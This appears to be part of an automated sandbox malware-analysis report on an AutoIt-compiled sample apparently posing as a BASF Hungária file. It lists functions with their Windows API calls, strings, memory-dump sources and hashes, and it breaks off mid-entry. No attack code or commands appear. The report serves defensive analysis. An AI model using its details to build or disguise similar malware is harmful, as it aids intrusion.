                                                              • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                              • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                              Function 007A7806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DeleteObject.GDI32(00000000), ref: 007A785B
                                                              • DeleteObject.GDI32(00000000), ref: 007A786D
                                                              • DestroyWindow.USER32 ref: 007A787B
                                                              • GetDesktopWindow.USER32 ref: 007A7895
                                                              • GetWindowRect.USER32(00000000), ref: 007A789C
                                                              • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 007A79DD
                                                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 007A79ED
                                                              • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7A35
                                                              • GetClientRect.USER32(00000000,?), ref: 007A7A41
                                                              • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 007A7A7B
                                                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7A9D
                                                              • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7AB0
                                                              • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7ABB
                                                              • GlobalLock.KERNEL32(00000000), ref: 007A7AC4
                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7AD3
                                                              • GlobalUnlock.KERNEL32(00000000), ref: 007A7ADC
                                                              • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7AE3
                                                              • GlobalFree.KERNEL32(00000000), ref: 007A7AEE
                                                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7B00
                                                              • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,007C2CAC,00000000), ref: 007A7B16
                                                              • GlobalFree.KERNEL32(00000000), ref: 007A7B26
                                                              • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 007A7B4C
                                                              • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 007A7B6B
                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7B8D
                                                              • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 007A7D7A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                              • String ID: $AutoIt v3$DISPLAY$static
                                                              • API String ID: 2211948467-2373415609
                                                              • Opcode ID: 178e87ebbf7d531c3ead5e653ecb53a3ff3aa6bd4199d88a8ce7f5e29df058ba
                                                              • Instruction ID: 3b69c0124a42c8dbbb7ee150c1163557a499c2e971f725a8d8915db9b6af80b6
                                                              • Opcode Fuzzy Hash: 178e87ebbf7d531c3ead5e653ecb53a3ff3aa6bd4199d88a8ce7f5e29df058ba
                                                              • Instruction Fuzzy Hash: 0F028371A00115EFDB14DFA8DC89EAE7BB9FF49710F108259F905AB2A1C778AD01CB64
                                                              Function 007B356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?,007BF910), ref: 007B3627
                                                              • IsWindowVisible.USER32(?), ref: 007B364B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpperVisibleWindow
                                                              • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                              • API String ID: 4105515805-45149045
                                                              • Opcode ID: 9cd1e83bc7a72e34246c239e70dab553b8802b4c86b1192e7e64c043abaa2a87
                                                              • Instruction ID: c305e6746f94890ec0b51337e21c6b4b3e330e5fbfe09f228f645649191320ed
                                                              • Opcode Fuzzy Hash: 9cd1e83bc7a72e34246c239e70dab553b8802b4c86b1192e7e64c043abaa2a87
                                                              • Instruction Fuzzy Hash: B7D19371204301DBCB14EF10C459BAEB7A1AF95344F148468FD855B3A3DB79EE4ACB91
                                                              Function 007BA5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetTextColor.GDI32(?,00000000), ref: 007BA630
                                                              • GetSysColorBrush.USER32(0000000F), ref: 007BA661
                                                              • GetSysColor.USER32(0000000F), ref: 007BA66D
                                                              • SetBkColor.GDI32(?,000000FF), ref: 007BA687
                                                              • SelectObject.GDI32(?,00000000), ref: 007BA696
                                                              • InflateRect.USER32(?,000000FF,000000FF), ref: 007BA6C1
                                                              • GetSysColor.USER32(00000010), ref: 007BA6C9
                                                              • CreateSolidBrush.GDI32(00000000), ref: 007BA6D0
                                                              • FrameRect.USER32(?,?,00000000), ref: 007BA6DF
                                                              • DeleteObject.GDI32(00000000), ref: 007BA6E6
                                                              • InflateRect.USER32(?,000000FE,000000FE), ref: 007BA731
                                                              • FillRect.USER32(?,?,00000000), ref: 007BA763
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007BA78E
                                                                • Part of subcall function 007BA8CA: GetSysColor.USER32(00000012), ref: 007BA903
                                                                • Part of subcall function 007BA8CA: SetTextColor.GDI32(?,?), ref: 007BA907
                                                                • Part of subcall function 007BA8CA: GetSysColorBrush.USER32(0000000F), ref: 007BA91D
                                                                • Part of subcall function 007BA8CA: GetSysColor.USER32(0000000F), ref: 007BA928
                                                                • Part of subcall function 007BA8CA: GetSysColor.USER32(00000011), ref: 007BA945
                                                                • Part of subcall function 007BA8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 007BA953
                                                                • Part of subcall function 007BA8CA: SelectObject.GDI32(?,00000000), ref: 007BA964
                                                                • Part of subcall function 007BA8CA: SetBkColor.GDI32(?,00000000), ref: 007BA96D
                                                                • Part of subcall function 007BA8CA: SelectObject.GDI32(?,?), ref: 007BA97A
                                                                • Part of subcall function 007BA8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 007BA999
                                                                • Part of subcall function 007BA8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 007BA9B0
                                                                • Part of subcall function 007BA8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 007BA9C5
                                                                • Part of subcall function 007BA8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 007BA9ED
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                              • String ID:
                                                              • API String ID: 3521893082-0
                                                              • Opcode ID: 97c5c1e0ae9e289d017e172db91d259d6a6f8177e52c6579fe9474a990699ae0
                                                              • Instruction ID: d3f31198478e4f5f8f5105062ba43e3e92b502460951de084ec2e07c2d43721c
                                                              • Opcode Fuzzy Hash: 97c5c1e0ae9e289d017e172db91d259d6a6f8177e52c6579fe9474a990699ae0
                                                              • Instruction Fuzzy Hash: 62915972408305FFC711AF64DC08F9A7BA9FF88721F108B29F962961A0DB79D9448B56
                                                              Function 00732C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(?,?,?), ref: 00732CA2
                                                              • DeleteObject.GDI32(00000000), ref: 00732CE8
                                                              • DeleteObject.GDI32(00000000), ref: 00732CF3
                                                              • DestroyIcon.USER32(00000000,?,?,?), ref: 00732CFE
                                                              • DestroyWindow.USER32(00000000,?,?,?), ref: 00732D09
                                                              • SendMessageW.USER32(?,00001308,?,00000000), ref: 0076C43B
                                                              • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0076C474
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0076C89D
                                                                • Part of subcall function 00731B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00732036,?,00000000,?,?,?,?,007316CB,00000000,?), ref: 00731B9A
                                                              • SendMessageW.USER32(?,00001053), ref: 0076C8DA
                                                              • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0076C8F1
                                                              • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0076C907
                                                              • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0076C912
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                              • String ID: 0
                                                              • API String ID: 464785882-4108050209
                                                              • Opcode ID: d2a0d00db23a34bfc52b5f4fad333dc5fd571676f5917e9f6eb87789c0755f45
                                                              • Instruction ID: ba0060c6ca58629247eed290b82dd12354f160cfd88a423792e215c37a7d7ea2
                                                              • Opcode Fuzzy Hash: d2a0d00db23a34bfc52b5f4fad333dc5fd571676f5917e9f6eb87789c0755f45
                                                              • Instruction Fuzzy Hash: 69127030604201EFDB26CF24C888BB9B7E5BF45310F548569E996DB663C739EC52CBA1
                                                              Function 007A74AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(00000000), ref: 007A74DE
                                                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 007A759D
                                                              • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 007A75DB
                                                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 007A75ED
                                                              • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 007A7633
                                                              • GetClientRect.USER32(00000000,?), ref: 007A763F
                                                              • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 007A7683
                                                              • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 007A7692
                                                              • GetStockObject.GDI32(00000011), ref: 007A76A2
                                                              • SelectObject.GDI32(00000000,00000000), ref: 007A76A6
                                                              • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 007A76B6
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 007A76BF
                                                              • DeleteDC.GDI32(00000000), ref: 007A76C8
                                                              • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 007A76F4
                                                              • SendMessageW.USER32(00000030,00000000,00000001), ref: 007A770B
                                                              • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 007A7746
                                                              • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 007A775A
                                                              • SendMessageW.USER32(00000404,00000001,00000000), ref: 007A776B
                                                              • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 007A779B
                                                              • GetStockObject.GDI32(00000011), ref: 007A77A6
                                                              • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 007A77B1
                                                              • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 007A77BB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                              • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                              • API String ID: 2910397461-517079104
                                                              • Opcode ID: a63300465e235c4751fc20e280504fc617bb186c9acaf79905bb6ce8c2a8f09b
                                                              • Instruction ID: 136239ce0b304dfea54c11c2a672c094c9105553adf61f79f3e3b50cbb505f81
                                                              • Opcode Fuzzy Hash: a63300465e235c4751fc20e280504fc617bb186c9acaf79905bb6ce8c2a8f09b
                                                              • Instruction Fuzzy Hash: D6A166B1A40615BFEB14DF68DC4AFAE7B79EB45710F008214FA15A72E1D778AD00CB64
                                                              Function 0079AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 0079AD1E
                                                              • GetDriveTypeW.KERNEL32(?,007BFAC0,?,\\.\,007BF910), ref: 0079ADFB
                                                              • SetErrorMode.KERNEL32(00000000,007BFAC0,?,\\.\,007BF910), ref: 0079AF59
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$DriveType
                                                              • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                              • API String ID: 2907320926-4222207086
                                                              • Opcode ID: 2dc2a5f52fe1c735e9824943645b8bfbf6791fe910d806a826d3711e2cff033c
                                                              • Instruction ID: 30cfdce953f09387c9904297c74d9f08c4ded57536a49fae3cbd99d71736b39c
                                                              • Opcode Fuzzy Hash: 2dc2a5f52fe1c735e9824943645b8bfbf6791fe910d806a826d3711e2cff033c
                                                              • Instruction Fuzzy Hash: AC51A2F0646249FBCF54DB15E986CBD73A2EB4C700B208066E80BA7691DA7DDD41DB83
                                                              Function 007368DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                              • API String ID: 1038674560-86951937
                                                              • Opcode ID: d5e0a68ceb55782572ecc1ad79965737f6eee2b4578efbf433a318e0832bf69c
                                                              • Instruction ID: d7eb3c350c9aadfa087d43b2646035193f901693ab36674d055935a5490e1af1
                                                              • Opcode Fuzzy Hash: d5e0a68ceb55782572ecc1ad79965737f6eee2b4578efbf433a318e0832bf69c
                                                              • Instruction Fuzzy Hash: 8A81E8F0640205FAEB21AA61DC86FEF3768AF05750F048029FD056B197EBADDE45C6A1
                                                              Function 007BA8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColor.USER32(00000012), ref: 007BA903
                                                              • SetTextColor.GDI32(?,?), ref: 007BA907
                                                              • GetSysColorBrush.USER32(0000000F), ref: 007BA91D
                                                              • GetSysColor.USER32(0000000F), ref: 007BA928
                                                              • CreateSolidBrush.GDI32(?), ref: 007BA92D
                                                              • GetSysColor.USER32(00000011), ref: 007BA945
                                                              • CreatePen.GDI32(00000000,00000001,00743C00), ref: 007BA953
                                                              • SelectObject.GDI32(?,00000000), ref: 007BA964
                                                              • SetBkColor.GDI32(?,00000000), ref: 007BA96D
                                                              • SelectObject.GDI32(?,?), ref: 007BA97A
                                                              • InflateRect.USER32(?,000000FF,000000FF), ref: 007BA999
                                                              • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 007BA9B0
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 007BA9C5
                                                              • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 007BA9ED
                                                              • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 007BAA14
                                                              • InflateRect.USER32(?,000000FD,000000FD), ref: 007BAA32
                                                              • DrawFocusRect.USER32(?,?), ref: 007BAA3D
                                                              • GetSysColor.USER32(00000011), ref: 007BAA4B
                                                              • SetTextColor.GDI32(?,00000000), ref: 007BAA53
                                                              • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 007BAA67
                                                              • SelectObject.GDI32(?,007BA5FA), ref: 007BAA7E
                                                              • DeleteObject.GDI32(?), ref: 007BAA89
                                                              • SelectObject.GDI32(?,?), ref: 007BAA8F
                                                              • DeleteObject.GDI32(?), ref: 007BAA94
                                                              • SetTextColor.GDI32(?,?), ref: 007BAA9A
                                                              • SetBkColor.GDI32(?,?), ref: 007BAAA4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                              • String ID:
                                                              • API String ID: 1996641542-0
                                                              • Opcode ID: 73bd39b34bbe0eb95eb925e720dabaecf528630920b2dd78f2cfac6dab8b8d6e
                                                              • Instruction ID: 265e12ba4c391a931a5e06c15cf4688513a7d5b40a5bdf5be3ae626648b056d1
                                                              • Opcode Fuzzy Hash: 73bd39b34bbe0eb95eb925e720dabaecf528630920b2dd78f2cfac6dab8b8d6e
                                                              • Instruction Fuzzy Hash: D1510C71900208FFDB11AFA8DC48FEE7B79EF48720F118625F911AB2A1D6799940DF94
                                                              Function 007B89D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 007B8AC1
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 007B8AD2
                                                              • CharNextW.USER32(0000014E), ref: 007B8B01
                                                              • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 007B8B42
                                                              • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 007B8B58
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 007B8B69
                                                              • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 007B8B86
                                                              • SetWindowTextW.USER32(?,0000014E), ref: 007B8BD8
                                                              • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 007B8BEE
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 007B8C1F
                                                              • _memset.LIBCMT ref: 007B8C44
                                                              • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 007B8C8D
                                                              • _memset.LIBCMT ref: 007B8CEC
                                                              • SendMessageW.USER32(?,00001053,000000FF,?), ref: 007B8D16
                                                              • SendMessageW.USER32(?,00001074,?,00000001), ref: 007B8D6E
                                                              • SendMessageW.USER32(?,0000133D,?,?), ref: 007B8E1B
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 007B8E3D
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 007B8E87
                                                              • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 007B8EB4
                                                              • DrawMenuBar.USER32(?), ref: 007B8EC3
                                                              • SetWindowTextW.USER32(?,0000014E), ref: 007B8EEB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                              • String ID: 0
                                                              • API String ID: 1073566785-4108050209
                                                              • Opcode ID: 1fb3705aec8cde3b4774957342c1f293e38ee4cd7e2d35f0142c2f8cce70d4d2
                                                              • Instruction ID: 3a23cd276b796268b7d4e11e54cf02a9a05561787a8aba5e894421d3fc7687fc
                                                              • Opcode Fuzzy Hash: 1fb3705aec8cde3b4774957342c1f293e38ee4cd7e2d35f0142c2f8cce70d4d2
                                                              • Instruction Fuzzy Hash: 12E17F70900208EFDB609F64CC88FEE7B7DEF09710F14815AF925AA291DB788985DF61
                                                              Function 007B488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCursorPos.USER32(?), ref: 007B49CA
                                                              • GetDesktopWindow.USER32 ref: 007B49DF
                                                              • GetWindowRect.USER32(00000000), ref: 007B49E6
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007B4A48
                                                              • DestroyWindow.USER32(?), ref: 007B4A74
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 007B4A9D
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 007B4ABB
                                                              • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 007B4AE1
                                                              • SendMessageW.USER32(?,00000421,?,?), ref: 007B4AF6
                                                              • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 007B4B09
                                                              • IsWindowVisible.USER32(?), ref: 007B4B29
                                                              • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 007B4B44
                                                              • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 007B4B58
                                                              • GetWindowRect.USER32(?,?), ref: 007B4B70
                                                              • MonitorFromPoint.USER32(?,?,00000002), ref: 007B4B96
                                                              • GetMonitorInfoW.USER32(00000000,?), ref: 007B4BB0
                                                              • CopyRect.USER32(?,?), ref: 007B4BC7
                                                              • SendMessageW.USER32(?,00000412,00000000), ref: 007B4C32
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
